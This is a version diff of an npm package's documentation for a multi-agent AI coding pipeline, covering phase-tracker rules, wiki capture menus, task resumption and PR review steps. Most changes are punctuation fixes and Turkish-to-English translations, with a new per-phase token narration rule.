@mmerterden/multi-agent-pipeline 8.6.1 → 10.0.6

package/pipeline/commands/multi-agent/refs/tracker-contract.md

@@ -1,23 +1,23 @@
 ---
-description: "Phase tracker mandatory contract — every mode depends on this. Native TaskList widget renders the phase tiles to the user; phase-tracker.sh holds the state file (powers :resume / :log / :status)."
+description: "Phase tracker mandatory contract  -  every mode depends on this. Native TaskList widget renders the phase tiles to the user; phase-tracker.sh holds the state file (powers :resume / :log / :status)."
 ---
 
-# Phase Tracker — Mandatory Contract
+# Phase Tracker  -  Mandatory Contract
 
-> **TLDR** — At every phase boundary the agent does two things: (1) writes to the state file via `phase-tracker.sh` (identical on every CLI), (2) drives the visual channel for the CLI it's running in — `TaskCreate`/`TaskUpdate` in Claude Code, `phase-tracker.sh render` in every other CLI. The state file alone is not enough; the user must see the phases progress.
+> **TLDR**  -  At every phase boundary the agent does two things: (1) writes to the state file via `phase-tracker.sh` (identical on every CLI), (2) drives the visual channel for the CLI it's running in  -  `TaskCreate`/`TaskUpdate` in Claude Code, `phase-tracker.sh render` in every other CLI. The state file alone is not enough; the user must see the phases progress.
 
 ## Why two channels
 
 | Channel | Job | Lives in |
 |---|---|---|
 | **Visual** (CLI-specific) | The widget or card the user actually sees | CLI-specific (TaskList, chat output, stdout) |
-| **`phase-tracker.sh` state** | JSON state file (`~/.claude/logs/multi-agent/<task_id>/tracker-state.json`) — read by `:resume`, `:log`, `:status` | Disk — survives the session, **identical across CLIs** |
+| **`phase-tracker.sh` state** | JSON state file (`~/.claude/logs/multi-agent/<task_id>/tracker-state.json`)  -  read by `:resume`, `:log`, `:status` | Disk  -  survives the session, **identical across CLIs** |
 
 Both channels carry the same state. If one is missing:
 - Visual only → `:resume` does not work; the run history is lost
 - State file only → the user sees no progress, only bash stdout snapshots
 
-## Visual channel — chosen by the agent based on the host CLI
+## Visual channel  -  chosen by the agent based on the host CLI
 
 The agent detects which CLI it's running in and uses the appropriate visual mechanism. Detection order:
 
@@ -35,8 +35,8 @@ Visual mechanism per CLI:
 |---|---|
 | **claude-code** | `TaskCreate({subject, activeForm})` then `TaskUpdate({status, activeForm})`. Native sticky widget; ⏺ tiles, spinner header. |
 | **copilot** | Inline call: `bash phase-tracker.sh render`. The bordered ANSI card lands as the last tool result in the chat. |
-| **cursor / windsurf / cline** | Same bash render — Cursor / Windsurf chat panels render the ANSI card cleanly. Do not wrap in markdown; raw output is correct. |
-| **generic** (plain shell, Git Bash, WSL, tmux) | Same bash render — the bordered ANSI card prints to terminal stdout in place. |
+| **cursor / windsurf / cline** | Same bash render  -  Cursor / Windsurf chat panels render the ANSI card cleanly. Do not wrap in markdown; raw output is correct. |
+| **generic** (plain shell, Git Bash, WSL, tmux) | Same bash render  -  the bordered ANSI card prints to terminal stdout in place. |
 
 **Common to every CLI**: `phase-tracker.sh add/update/meta/tokens` calls run identically → the state file is always correct, and `:resume` / `:log` / `:status` work on every CLI.
 
@@ -47,9 +47,9 @@ Visual mechanism per CLI:
 At every phase boundary the agent takes **two steps**:
 
 1. **State**: `phase-tracker.sh add/update/meta/tokens` (identical on every CLI, never changes)
-2. **Visual**: CLI-specific — TaskList API on claude-code, `phase-tracker.sh render` on every other CLI
+2. **Visual**: CLI-specific  -  TaskList API on claude-code, `phase-tracker.sh render` on every other CLI
 
-### Phase 0 startup — pipeline init
+### Phase 0 startup  -  pipeline init
 
 ```bash
 TASK_ID="<id from input parsing>"   # PROJ-12345 / repo#316 / cwd-derived
@@ -72,10 +72,10 @@ bash $HOME/.claude/scripts/phase-tracker.sh add 1 "Analysis"
 # ...
 ```
 
-### Claude Code — also register a TaskList tile per phase
+### Claude Code  -  also register a TaskList tile per phase
 
 ```text
-For each phase in the current mode, IN PHASE-NUMBER ORDER (0 → 1 → 2 → … → 7):
+For each phase in the current mode, IN PHASE-NUMBER ORDER (0 → 1 → 2 → ... → 7):
   TaskCreate({
     subject: "Phase 0: Init",
     description: "Repo discovery, branch, worktree, identity bind",
@@ -91,14 +91,14 @@ The `tasklist_id` meta field is persisted so that `:resume` can rebuild the Task
 
 **The native TaskList widget renders tiles in TaskCreate creation order, NOT by phase-number metadata.** Therefore:
 
-> **All TaskCreate calls for the active mode's phase set MUST fire in strict phase-number order BEFORE any TaskUpdate is applied. No "pre-mark skipped phases as completed before Phase 0" reasoning is permitted — even when the agent knows in advance that a phase will be skipped.**
+> **All TaskCreate calls for the active mode's phase set MUST fire in strict phase-number order BEFORE any TaskUpdate is applied. No "pre-mark skipped phases as completed before Phase 0" reasoning is permitted  -  even when the agent knows in advance that a phase will be skipped.**
 
-Why: an agent reasoning "this is a `--dev` task, so phases 1/2/4 will be skipped — let me TaskCreate them as completed first" produces tile IDs `1, 2, 3, …` for phases 1/2/4, then the Phase 0 tile gets ID `4` and visually drops below them. The user sees `1, 2, 4 ✓ · 0 ▶ · 3 ☐ · …` instead of `0 ▶ · 1 ✓ · 2 ✓ · 3 ☐ · 4 ✓ · …`.
+Why: an agent reasoning "this is a `--dev` task, so phases 1/2/4 will be skipped  -  let me TaskCreate them as completed first" produces tile IDs `1, 2, 3, ...` for phases 1/2/4, then the Phase 0 tile gets ID `4` and visually drops below them. The user sees `1, 2, 4 ✓ · 0 ▶ · 3 ☐ · ...` instead of `0 ▶ · 1 ✓ · 2 ✓ · 3 ☐ · 4 ✓ · ...`.
 
 The correct sequence is **always**:
 
 ```text
-# Step A — register every phase tile in the active mode's set, in phase-number order
+# Step A  -  register every phase tile in the active mode's set, in phase-number order
 TaskCreate(Phase 0)  → taskId₀
 TaskCreate(Phase 1)  → taskId₁     # even if Phase 1 will be skipped in this mode
 TaskCreate(Phase 2)  → taskId₂
@@ -108,7 +108,7 @@ TaskCreate(Phase 5)  → taskId₅
 TaskCreate(Phase 6)  → taskId₆
 TaskCreate(Phase 7)  → taskId₇
 
-# Step B — only AFTER every tile is created, apply status updates
+# Step B  -  only AFTER every tile is created, apply status updates
 TaskUpdate(taskId₀, status="in_progress")              # Phase 0 starts
 # `--dev` mode immediately also fires:
 TaskUpdate(taskId₁, status="completed", activeForm="[SKIPPED]")
@@ -121,13 +121,13 @@ Mode-specific phase sets:
 | Mode | TaskCreate set (in order) |
 |---|---|
 | Full pipeline (`/multi-agent`, `:autopilot`, `:local`, `:local-autopilot`) | 0 → 1 → 2 → 3 → 4 → 5 → 6 → 7 (all 8) |
-| `:dev`, `:dev-autopilot`, `:dev-local`, `:dev-local-autopilot` | 0 → 3 → 5 → 6 → 7 (5 phases — 1/2/4 omitted entirely) |
+| `:dev`, `:dev-autopilot`, `:dev-local`, `:dev-local-autopilot` | 0 → 3 → 5 → 6 → 7 (5 phases  -  1/2/4 omitted entirely) |
 
-Note: in `--dev` modes the omitted phases (1, 2, 4) **do not get TaskCreate calls at all** — they're not part of the mode's phase set. The "[SKIPPED]" pattern above only applies if a normally-included phase is conditionally skipped at runtime.
+Note: in `--dev` modes the omitted phases (1, 2, 4) **do not get TaskCreate calls at all**  -  they're not part of the mode's phase set. The "[SKIPPED]" pattern above only applies if a normally-included phase is conditionally skipped at runtime.
 
 **Enforcement**: `smoke-tasklist-ordering.sh` scans every mode entry point doc (`commands/multi-agent.md`, `commands/multi-agent/{autopilot,local,local-autopilot,dev,dev-autopilot,dev-local,dev-local-autopilot}.md` + Copilot mirrors) for the explicit "in phase-number order" rule. Inventory drift fails the smoke.
 
-### Other CLIs — call render after every state change
+### Other CLIs  -  call render after every state change
 
 There is no TaskList outside Claude Code. Instead, after each state change the agent calls:
 
@@ -135,7 +135,7 @@ There is no TaskList outside Claude Code. Instead, after each state change the a
 bash $HOME/.claude/scripts/phase-tracker.sh render
 ```
 
-This prints a bordered ANSI card to the chat. The user sees the up-to-date phase table as the last tool result. Do not wrap in markdown — raw bash output is correct.
+This prints a bordered ANSI card to the chat. The user sees the up-to-date phase table as the last tool result. Do not wrap in markdown  -  raw bash output is correct.
 
 ### Phase entry
 
@@ -167,15 +167,15 @@ bash $HOME/.claude/scripts/phase-tracker.sh render
 
 `failed` and `skipped` follow the same pattern, with the matching status.
 
-### Active phase — "what is it doing right now"
+### Active phase  -  "what is it doing right now"
 
-**Claude Code** — `TaskUpdate({activeForm: ...})` updates the spinner header:
+**Claude Code**  -  `TaskUpdate({activeForm: ...})` updates the spinner header:
 ```text
 TaskUpdate({taskId: <dev_task>, activeForm: "Editing TopBarView.swift"})
 TaskUpdate({taskId: <dev_task>, activeForm: "Running xcodebuild test"})
 ```
 
-**Other CLIs** — `meta Now` key plus a render call:
+**Other CLIs**  -  `meta Now` key plus a render call:
 ```bash
 bash $HOME/.claude/scripts/phase-tracker.sh meta 3 Now "→ editing TopBarView.swift"
 bash $HOME/.claude/scripts/phase-tracker.sh render
@@ -183,17 +183,41 @@ bash $HOME/.claude/scripts/phase-tracker.sh render
 
 The `Now` meta key shows up in the bordered card as `Now: → editing TopBarView.swift`.
 
-### 5. Token accounting — automatic (manual top-up optional)
+### 5. Token accounting  -  automatic (manual top-up optional)
 
-The native TaskList header automatically prints `↑Nk tokens · thought for Ns` — Claude Code uses session-level metrics. For per-phase token attribution:
+The native TaskList header automatically prints `↑Nk tokens · thought for Ns`  -  Claude Code uses session-level metrics. For per-phase token attribution:
 
 ```bash
 bash $HOME/.claude/scripts/phase-tracker.sh tokens <N> <input_count> <output_count>
 ```
 
-Token counts are additive — multiple calls accumulate. Stored per phase in the state file; surfaced in `:log` reports.
+Token counts are additive  -  multiple calls accumulate. Stored per phase in the state file; surfaced in `:log` reports.
 
-### 6. Phase context — rich summaries via `meta`
+**MANDATORY: per-phase token narration on completion (v9.10.2).** The native
+TaskList widget cannot display per-phase tokens  -  it shows name, status, and
+duration only. Without this rule the user sees durations and nothing else
+until the Phase 7 Cost Breakdown. So whenever a phase transitions to
+`completed`, in addition to the `TaskUpdate` call, print ONE narrator line in
+`outputLanguage` immediately after, using the same totals just written via
+`phase-tracker.sh tokens`:
+
+```
+Phase <N> <name> tamamlandi - ~<in> giris / ~<out> cikis token (<model>, ~$<usd>)
+Phase <N> <name> done - ~<in> in / ~<out> out tokens (<model>, ~$<usd>)
+```
+
+USD comes from `cost-table.json` rates for the phase's model (same math as
+`render-agent-log-cost.sh`: floor to cents). Phases with zero recorded tokens
+print `(no LLM calls)` instead of fabricating numbers.
+
+**Honesty note:** on Claude Code the orchestrator does not receive its own
+usage metering, so per-phase counts are content-size estimates (chars/4 for
+prompts dispatched + responses received, subagent payloads included). Prefix
+estimates with `~`. The authoritative end-of-run numbers remain the state file
+and the Phase 7 Cost Breakdown; the narration line exists so the user sees
+live per-phase spend instead of duration-only tiles.
+
+### 6. Phase context  -  rich summaries via `meta`
 
 Store a per-phase summary in the state file:
 
@@ -214,11 +238,11 @@ bash $HOME/.claude/scripts/phase-tracker.sh meta <N> "<key>" "<value>"
 | 6 Commit | Branch, Push, PR, Jira |
 | 7 Report | Channels, Artifacts |
 
-Meta keys are overwritten — values update as the pipeline progresses.
+Meta keys are overwritten  -  values update as the pipeline progresses.
 
 ### 7. Sub-phase (optional, e.g. Phase 1 explorers)
 
-There is no nested TaskList for sub-phases — sub-progress is reflected in `activeForm` plus a `sub` record in the state file.
+There is no nested TaskList for sub-phases  -  sub-progress is reflected in `activeForm` plus a `sub` record in the state file.
 
 ```bash
 bash $HOME/.claude/scripts/phase-tracker.sh sub <N> <sub_id> "<sub name>" in_progress
@@ -241,7 +265,7 @@ The `tasklist_id` meta from the previous session is replaced with the new IDs du
 ## Anti-patterns
 
 ❌ **TaskList only** → `:resume` will not work; no run history is preserved.
-❌ **`phase-tracker.sh` only** in Claude Code → the user sees no widget, only bash stdout snapshots — the #1 source of "I see no phases" complaints.
+❌ **`phase-tracker.sh` only** in Claude Code → the user sees no widget, only bash stdout snapshots  -  the #1 source of "I see no phases" complaints.
 ❌ **Wiring `phase-tracker.sh render` to `statusLine` config** → it drops below the screen as a placeholder; the user complained, removed in v7.9.0.
 
 ## Verification
@@ -250,7 +274,7 @@ The `tasklist_id` meta from the previous session is replaced with the new IDs du
 
 ## Cross-reference
 
-- `refs/phases.md` § "Visual Phase Tracker" (canonical spec)
+- `refs/phases.md` section "Visual Phase Tracker" (canonical spec)
 - `refs/progress-contract.md` (one-line stdout format, runs alongside the tracker)
 - `pipeline/scripts/phase-tracker.sh` (state file CRUD)
 - `pipeline/scripts/run-aggregator.mjs` (post-hoc cost summary)

package/pipeline/commands/multi-agent/refs/wiki-capture.md

@@ -1,6 +1,6 @@
 # Component Wiki Capture (channels.md Wiki adapter)
 
-> **TLDR** — Component tasks can auto-generate wiki docs + Figma screenshots. The Wiki adapter is invoked from `/multi-agent:channels` (Phase 7 delegates, or user invokes post-hoc). Four layouts supported (`submodule`, `in-repo`, `github-wiki`, `separate-repo`) — adapter picked from `figmaConfig.wiki.mode`. Non-blocking: failures log a warning and channels continues to other adapters. The Wiki adapter supports scope multi-select (Case A) and a precondition-failure menu (Case B) — see below.
+> **TLDR**  -  Component tasks can auto-generate wiki docs + Figma screenshots. The Wiki adapter is invoked from `/multi-agent:channels` (Phase 7 delegates, or user invokes post-hoc). Four layouts supported (`submodule`, `in-repo`, `github-wiki`, `separate-repo`)  -  adapter picked from `figmaConfig.wiki.mode`. Non-blocking: failures log a warning and channels continues to other adapters. The Wiki adapter supports scope multi-select (Case A) and a precondition-failure menu (Case B)  -  see below.
 
 This doc is referenced from `commands/multi-agent/channels.md` (Wiki adapter) and indirectly from `refs/phases/phase-7-report.md` (which delegates all external delivery to channels). Keeping it separate keeps both files under their token budgets and gives the contract a stable location for Claude-side + Copilot-side implementations.
 
@@ -8,77 +8,80 @@ This doc is referenced from `commands/multi-agent/channels.md` (Wiki adapter) an
 
 Step 2 runs only when **both** are true:
 
-1. `state.taskType === "component"` — set by Phase 0 Step 7 when the task originates from a Figma URL or figma-driven instruction.
-2. `figmaConfig.wiki.enabled === true` — enables the capture globally for the project.
+1. `state.taskType === "component"`  -  set by Phase 0 Step 7 when the task originates from a Figma URL or figma-driven instruction.
+2. `figmaConfig.wiki.enabled === true`  -  enables the capture globally for the project.
 
-Any other taskType skips silently (no prompt, no log) — wiki docs only make sense for UI components.
+Any other taskType skips silently (no prompt, no log)  -  wiki docs only make sense for UI components.
 
-## Case A — preconditions met (scope multi-select)
+## Case A  -  preconditions met (scope multi-select)
 
 When both applicability checks pass, channels opens a scope multi-select BEFORE dispatching:
 
 ```
-Wiki'de ne güncelleyeyim? (space = toggle, enter = onay)
-  [x] Ana component sayfası    ({Name}.md — variants, overview, testing IDs,
+What should I update in the wiki? (space = toggle, enter = confirm)
+  [x] Main component page      ({Name}.md  -  variants, overview, testing IDs,
                                   localization, a11y, analytics, sub-components)
-  [x] iOS sub-page             ({Name}-iOS.md — initializer, usage, iOS patterns,
+  [x] iOS sub-page             ({Name}-iOS.md  -  initializer, usage, iOS patterns,
                                   Code Connect, snapshot tests, changelog)
-  [x] Screenshots              (assets/ — Figma LTR+RTL+light+dark + iOS snapshot)
+  [x] Screenshots              (assets/  -  Figma LTR+RTL+light+dark + iOS snapshot)
   [x] Index updates            (_Sidebar.md + ComponentImplementationStatus.md)
-  [ ] Diğer                    (skip adapter dispatch; log "manual wiki override"
+  [ ] Other                    (skip adapter dispatch; log "manual wiki override"
                                   to agent-log, channels.wiki returns skipped)
 ```
 
 Pre-ticks from `prefs.global.wikiScope` (array of scope IDs). Saved after selection for next run.
 
 - Selecting a subset (e.g. only Screenshots) → adapter runs with `scope=["screenshots"]`, skipping main/iOS/index writes.
-- Selecting "Diğer" alone → adapter dispatch is skipped entirely. Phase 7 / channels logs `Wiki: manual override — skipped by user`. No git push, no file changes.
-- Selecting nothing and confirming → same as "Diğer" alone (explicit skip).
+- Selecting "Other" alone → adapter dispatch is skipped entirely. Phase 7 / channels logs `Wiki: manual override  -  skipped by user`. No git push, no file changes.
+- Selecting nothing and confirming → same as "Other" alone (explicit skip).
 
 The adapter receives `scope: string[]` alongside `{componentName, componentPath, figmaConfig, agentState}` and writes only the requested artifacts.
 
-## Case B — preconditions missing (actionable menu)
+## Case B  -  preconditions missing (actionable menu)
 
 When preconditions fail, the gap is surfaced with a fix menu instead of a silent no-op:
 
 ```
-Phase 7 · Wiki — preconditions not met
+Phase 7 · Wiki  -  preconditions not met
 
-  taskType:          {current}     ({component bekleniyor} ✗)
+  taskType:          {current}     ({component expected} ✗)
   figma-config.json: {found/missing}
   wiki.enabled:      {true/false/undefined}
 
-  Ne yapayım?
-    [1] Figma token + config ekle  (Token Save Flow + figma-config bootstrap)
-    [2] Sadece bu run için atla    (skipped, tekrar sorulur)
-    [3] Bu proje için wiki'yi kalıcı kapat  (writes wiki.enabled=false)
-    [4] Diğer — manuel not         (agent-log'a "user manual wiki path" düşer)
+  What should I do?
+    [1] Add Figma token + config      (Token Save Flow + figma-config bootstrap)
+    [2] Skip for this run only         (skipped, asked again)
+    [3] Disable wiki for this project  (writes wiki.enabled=false)
+    [4] Other  -  manual note          (logs "user manual wiki path" to agent-log)
 ```
 
-- **[1]** dispatches to `setup.md` Token Save Flow for Figma, then bootstraps `figma-config.json` from `preferences-template.json` `_figmaConfigTemplate`. After success, re-check preconditions — if met, fall into Case A. If user cancels the setup, fall back to [2].
-- **[2]** `phase-tracker.sh sub 7 1 "Channels/Wiki" skipped`, log line: `Wiki skipped — preconditions not met (this run only)`. Next run re-prompts.
-- **[3]** write `figmaConfig.wiki.enabled = false` to the project config. Subsequent runs silently skip Wiki (no menu, no prompt) — exactly the pre-v5.7 behavior for projects that don't want wiki.
+- **[1]** dispatches to `setup.md` Token Save Flow for Figma, then bootstraps `figma-config.json` from `preferences-template.json` `_figmaConfigTemplate`. After success, re-check preconditions  -  if met, fall into Case A. If user cancels the setup, fall back to [2].
+- **[2]** `phase-tracker.sh sub 7 1 "Channels/Wiki" skipped`, log line: `Wiki skipped  -  preconditions not met (this run only)`. Next run re-prompts.
+- **[3]** write `figmaConfig.wiki.enabled = false` to the project config. Subsequent runs silently skip Wiki (no menu, no prompt)  -  exactly the pre-v5.7 behavior for projects that don't want wiki.
 - **[4]** free-text prompt, user's note appended to agent-log under `### Wiki Manual Override`. No adapter action.
 
-Autopilot in Phase 7 pauses at the channels menu (per modes.md contract) — if user selects Wiki and preconditions fail, Case B opens, user picks. Post-hoc `/multi-agent:channels` with `--channels wiki` + failed preconditions: Case B opens non-negotiably (autopilot rules don't apply to post-hoc invocations).
+Autopilot in Phase 7 pauses at the channels menu (per modes.md contract)  -  if user selects Wiki and preconditions fail, Case B opens, user picks. Post-hoc `/multi-agent:channels` with `--channels wiki` + failed preconditions: Case B opens non-negotiably (autopilot rules don't apply to post-hoc invocations).
 
 ## Legacy prompt + preference flow (pre-v5.7, still supported for backward compat)
 
-Interactive path (normal / `--dev`), ONLY when the schema lacks `wikiScope`:
+Interactive path (normal / `--dev`), ONLY when the schema lacks `wikiScope`  -  ask with a native `AskUserQuestion` picker (never a typed y/n):
 
-```
-Generate component wiki docs? (y/n) [previous: {prefs.global.wikiDefault}]
-```
+- `question`: "Generate component wiki docs?" (rendered in `outputLanguage`)
+- `header`: "Wiki" (English, <=12 chars)
+- `options`:
+  - `{ label: "Generate", description: "Write component wiki docs for this run" }`
+  - `{ label: "Skip", description: "Do not generate wiki docs" }`
+- Surface the previous default (`prefs.global.wikiDefault`) as the recommended option: when it is `true`, present **Generate** first (recommended); when `false`, present **Skip** first.
 
 Save the answer to `prefs.global.wikiDefault` for next run. Migration script (`migrate-prefs.mjs`) promotes `wikiDefault=true` → `wikiScope=["main","ios","screenshots","index"]` on first v5.7 run, then removes `wikiDefault`.
 
 ## Dispatch
 
-1. Resolve wiki mode from `figmaConfig.wiki.mode` — one of `submodule`, `in-repo`, `github-wiki`, `separate-repo`. Each has a dedicated adapter inside the `figma-component-wiki` skill; see `pipeline/skills/figma-ios/figma-component-wiki/SKILL.md` for per-mode path layout and push semantics.
+1. Resolve wiki mode from `figmaConfig.wiki.mode`  -  one of `submodule`, `in-repo`, `github-wiki`, `separate-repo`. Each has a dedicated adapter inside the `figma-component-wiki` skill; see `pipeline/skills/figma-ios/figma-component-wiki/SKILL.md` for per-mode path layout and push semantics.
 2. Emit progress line: `→ writing wiki {componentName} (mode: {mode})`.
 3. Dispatch to `pipeline/skills/figma-ios/figma-component-wiki` (iOS) or `pipeline/skills/figma-android/figma-component-wiki` (Android), passing `{componentName, componentPath, figmaConfig, agentState}`.
 4. Skill returns `{ writtenPaths[], committedSha?, pushedRemote? }`. Write `writtenPaths` to Phase 7 summary's "Files written" section and push metadata (if any) to "External publishes".
-5. On adapter failure — log the adapter + mode + error, continue Phase 7. Wiki is a non-blocking augmentation; the Jira comment in Step 3 already carries the component summary, so the developer is never left in the dark if wiki misfires.
+5. On adapter failure  -  log the adapter + mode + error, continue Phase 7. Wiki is a non-blocking augmentation; the Jira comment in Step 3 already carries the component summary, so the developer is never left in the dark if wiki misfires.
 
 ## Skip conditions (explicit log lines)
 
@@ -89,11 +92,11 @@ Explicit logs help the developer understand why wiki did or did not run:
 - `figmaConfig` missing entirely → log `Phase 7: wiki skipped (no figma-config for this project)`.
 - User declined at prompt → log `Phase 7: wiki skipped by user`.
 - Autopilot with `wikiDefault=false` → log `Phase 7: wiki skipped (autopilot + wikiDefault=false)`.
-- `--dev` mode: DO prompt — wiki is cheap and keeps docs fresh on fast paths; skip only if user says no.
+- `--dev` mode: DO prompt  -  wiki is cheap and keeps docs fresh on fast paths; skip only if user says no.
 
 ## Success log
 
-`Phase 7: Component wiki generated — {componentName} via {mode} ({paths.length} files)`
+`Phase 7: Component wiki generated  -  {componentName} via {mode} ({paths.length} files)`
 
 ## Cross-CLI parity
 
@@ -104,6 +107,6 @@ Claude Code and Copilot CLI MUST:
 - Render byte-identical Case A / Case B menus (spacing, brackets, numbering).
 - Respect `prefs.global.wikiScope` array. Legacy `wikiDefault` boolean is migrated on first v5.7 load.
 - Treat adapter failures as non-blocking with the same log shape.
-- Pause the Case A / Case B menu in autopilot — per Phase 7 autopilot exception (`refs/phases/modes.md`). 30-min timeout ends session cleanly; resume re-opens menu.
+- Pause the Case A / Case B menu in autopilot  -  per Phase 7 autopilot exception (`refs/phases/modes.md`). 30-min timeout ends session cleanly; resume re-opens menu.
 
 `smoke-wiki-integration.sh` asserts every contract item documented above.

package/pipeline/commands/multi-agent/resume.md

@@ -1,9 +1,9 @@
 ---
 description: "Resume a stopped or failed task from the phase where it left off."
-argument-hint: "[#id] — optional: task ID (e.g. #2). If omitted, the most recent paused task is used."
+argument-hint: "[#id]  -  optional: task ID (e.g. #2). If omitted, the most recent paused task is used."
 ---
 
-# multi-agent resume — Resume Paused Task
+# multi-agent resume  -  Resume Paused Task
 
 **Input**: $ARGUMENTS
 
@@ -11,18 +11,18 @@ Resume a paused or failed task from the last successful phase.
 
 ## Steps
 
-1. **Find the task** — parse `#N` from the argument, or pick the most recent worktree with `status != "done"`.
+1. **Find the task**  -  parse `#N` from the argument, or pick the most recent worktree with `status != "done"`.
 
-2. **Read state** — parse `agent-state.json`:
-   - `currentPhase` — last completed phase
-   - `status` — `paused` | `failed` | `in_progress`
-   - `autopilot` — preserve the mode
+2. **Read state**  -  parse `agent-state.json`:
+   - `currentPhase`  -  last completed phase
+   - `status`  -  `paused` | `failed` | `in_progress`
+   - `autopilot`  -  preserve the mode
 
-3. **Load context** — read prior-phase findings from `agent-log.md`:
+3. **Load context**  -  read prior-phase findings from `agent-log.md`:
    - Phase 1 analysis → use it from Phase 2+
    - Phase 2 plan → use it from Phase 3+
    - Phase 3 code → already in the worktree
 
-4. **Continue the pipeline** — start from the next phase (same pipeline as the main multi-agent command).
+4. **Continue the pipeline**  -  start from the next phase (same pipeline as the main multi-agent command).
 
 5. **Log**: `🔄 Resumed {JIRA-KEY}-{id} from Phase {N}`

package/pipeline/commands/multi-agent/review.md

@@ -1,9 +1,9 @@
 ---
 description: "Run parallel review on a branch's diff or a Pull Request: 2 models on Claude Code (Opus + Sonnet), 3 models on Copilot CLI (GPT + Opus + Sonnet). On PR input, posts per-finding inline comments and sets approve/needs-work review state."
-argument-hint: "[#N | repo#N | PR-URL | branch] — optional: PR by number/URL, repo+number, or local branch. Supports GitHub and Bitbucket Server URLs. If omitted, the current branch is used."
+argument-hint: "[#N | repo#N | PR-URL | branch]  -  optional: PR by number/URL, repo+number, or local branch. Supports GitHub and Bitbucket Server URLs. If omitted, the current branch is used."
 ---
 
-# multi-agent review — Review Only Mode
+# multi-agent review  -  Review Only Mode
 
 **Input**: $ARGUMENTS
 
@@ -22,7 +22,7 @@ Branch-mode runs print to chat only. PR-mode runs print to chat AND post the ver
 
 ## Steps
 
-### 0. Session bootstrap — TASK_ID + tmp cleanup
+### 0. Session bootstrap  -  TASK_ID + tmp cleanup
 
 ```bash
 # Standalone /multi-agent:review invocations may not inherit a pipeline TASK_ID.
@@ -34,10 +34,10 @@ export TASK_ID
 trap 'rm -f /tmp/multi-agent-review-${TASK_ID}-*' EXIT
 ```
 
-### 1. Parse the input — pick a resolution path
+### 1. Parse the input  -  pick a resolution path
 
 ```bash
-# Pseudocode — orchestrator implements this:
+# Pseudocode  -  orchestrator implements this:
 input="$ARGUMENTS"
 case "$input" in
   "")                              kind=branch; provider=local; ref=$(git rev-parse --abbrev-ref HEAD) ;;
@@ -58,9 +58,9 @@ esac
 
 Save to `agent-state.review.input = { kind, provider, ref?, orgRepo?, bbServerHost?, bbProjectKey?, bbRepoSlug?, prNumber?, raw }`.
 
-When `provider=github` and the diff is fetched in Step 2, also persist `agent-state.review.headCommitSha` — GitHub inline-comment posts (`POST /repos/{o}/{r}/pulls/{n}/comments`) require `commit_id`. Bitbucket Server's anchor API does not.
+When `provider=github` and the diff is fetched in Step 2, also persist `agent-state.review.headCommitSha`  -  GitHub inline-comment posts (`POST /repos/{o}/{r}/pulls/{n}/comments`) require `commit_id`. Bitbucket Server's anchor API does not.
 
-### 2. Fetch the diff — kind-aware
+### 2. Fetch the diff  -  kind-aware
 
 **branch mode:**
 
@@ -68,7 +68,7 @@ When `provider=github` and the diff is fetched in Step 2, also persist `agent-st
 git diff origin/develop...{ref}
 ```
 
-**pr mode — github:**
+**pr mode  -  github:**
 
 ```bash
 gh pr diff "$pr_number" --repo "$org_repo" > /tmp/multi-agent-review-${TASK_ID}-diff.patch
@@ -76,13 +76,13 @@ gh pr diff "$pr_number" --repo "$org_repo" > /tmp/multi-agent-review-${TASK_ID}-
 # (POST .../pulls/{n}/comments requires commit_id):
 HEAD_SHA=$(gh api "/repos/$org_repo/pulls/$pr_number" --jq .head.sha)
 printf '%s\n' "$HEAD_SHA" > /tmp/multi-agent-review-${TASK_ID}-head.sha
-# Persist into agent-state — post-pr-review.sh reads it from there.
+# Persist into agent-state  -  post-pr-review.sh reads it from there.
 tmp_state=$(mktemp)
 jq --arg sha "$HEAD_SHA" '.review.headCommitSha = $sha' "$AGENT_STATE" > "$tmp_state" \
   && mv "$tmp_state" "$AGENT_STATE"
 ```
 
-**pr mode — bitbucket-server:**
+**pr mode  -  bitbucket-server:**
 
 ```bash
 # Resolve credentials via prefs.keychainMapping (never hardcode key names).
@@ -99,7 +99,7 @@ http=$(curl -sS -m 60 -u "$BB_USER:$BB_TOKEN" -H "Accept: text/plain" \
   "https://$bb_server_host/rest/api/1.0/projects/$bb_project_key/repos/$bb_repo_slug/pull-requests/$pr_number/diff?contextLines=10" \
   -o "$DIFF_FILE" -w '%{http_code}')
 if [ "$http" != "200" ]; then
-  echo "review: Bitbucket diff fetch failed (HTTP $http) — error body in $DIFF_FILE" >&2
+  echo "review: Bitbucket diff fetch failed (HTTP $http)  -  error body in $DIFF_FILE" >&2
   rm -f "$DIFF_FILE"
   exit 1
 fi
@@ -109,7 +109,7 @@ The `credential-store.sh` wrapper handles macOS Keychain (`security`), Linux lib
 
 Save the diff to `/tmp/multi-agent-review-${TASK_ID}-diff.patch` so reviewers can re-read it.
 
-### 3. Launch parallel reviewers — host-CLI dependent
+### 3. Launch parallel reviewers  -  host-CLI dependent
 
 **Claude Code (2 in parallel):**
 - Agent 1: `claude-opus-4.6` → security + architecture
@@ -128,14 +128,14 @@ When release-relevant iOS/Android files change, load the matching catalog:
 
 | Platform | Trigger files | Catalog |
 |---|---|---|
-| iOS | `**/Info.plist`, `**/PrivacyInfo.xcprivacy`, `**/*.entitlements`, `**/*App.swift`, `**/AppDelegate*.swift`, `**/SceneDelegate*.swift`, `**/project.pbxproj` | `pipeline/skills/shared/core/apple-archive-compliance/SKILL.md` — 17 rules + ITMS refs |
-| Android | `**/AndroidManifest.xml`, `**/build.gradle(.kts)`, `**/proguard-rules.pro`, `**/network_security_config.xml` | `pipeline/skills/shared/core/google-play-compliance/SKILL.md` — 21 rules + Play policy refs |
+| iOS | `**/Info.plist`, `**/PrivacyInfo.xcprivacy`, `**/*.entitlements`, `**/*App.swift`, `**/AppDelegate*.swift`, `**/SceneDelegate*.swift`, `**/project.pbxproj` | `pipeline/skills/shared/core/apple-archive-compliance/SKILL.md`  -  17 rules + ITMS refs |
+| Android | `**/AndroidManifest.xml`, `**/build.gradle(.kts)`, `**/proguard-rules.pro`, `**/network_security_config.xml` | `pipeline/skills/shared/core/google-play-compliance/SKILL.md`  -  21 rules + Play policy refs |
 
 Each finding gets the `ruleID` from the catalog plus the platform policy ref:
-- iOS: `(apple-archive-compliance / info-plist — Guideline 5.1.1)`
-- Android: `(google-play-compliance / dangerous-permissions — Policy — Permissions)`
+- iOS: `(apple-archive-compliance / info-plist  -  Guideline 5.1.1)`
+- Android: `(google-play-compliance / dangerous-permissions  -  Policy  -  Permissions)`
 
-Catalog-only — does NOT invoke binaries. For a full scan, use `/multi-agent:test "store-ready"`.
